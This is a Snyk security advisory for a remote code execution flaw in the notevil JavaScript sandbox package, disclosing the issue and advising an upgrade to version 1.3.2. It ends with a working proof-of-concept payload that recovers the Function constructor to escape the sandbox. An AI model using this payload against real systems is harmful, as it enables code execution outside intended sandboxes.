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Remote Code Execution (RCE) Affecting notevil package, versions <1.3.2

0.0
medium

Snyk CVSS

    Attack Complexity High
    User Interaction Required
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

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  • Snyk ID SNYK-JS-NOTEVIL-467405
  • published 20 Sep 2019
  • disclosed 29 Jul 2019
  • credit Alan S Wang
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Introduced: 29 Jul 2019

CVE NOT AVAILABLE CWE-693 Open this link in a new tab

How to fix?

Upgrade notevil to version 1.3.2 or higher.

Overview

notevil is a module uses esprima to parse the javascript AST then walks each node and evaluates the result **Note:**This package has been deprecated.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the attacker being able to escape the sandbox leading to remote code execution.

Example payload

var safeEval = require('notevil') var input = "" + "function fn() {};" + "var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" + "var properties = Object.values(constructorProperty);" + "properties.pop();" + "properties.pop();" + "properties.pop();" + "var Function = properties.pop();" + "(Function('return this'))()"; safeEval(input)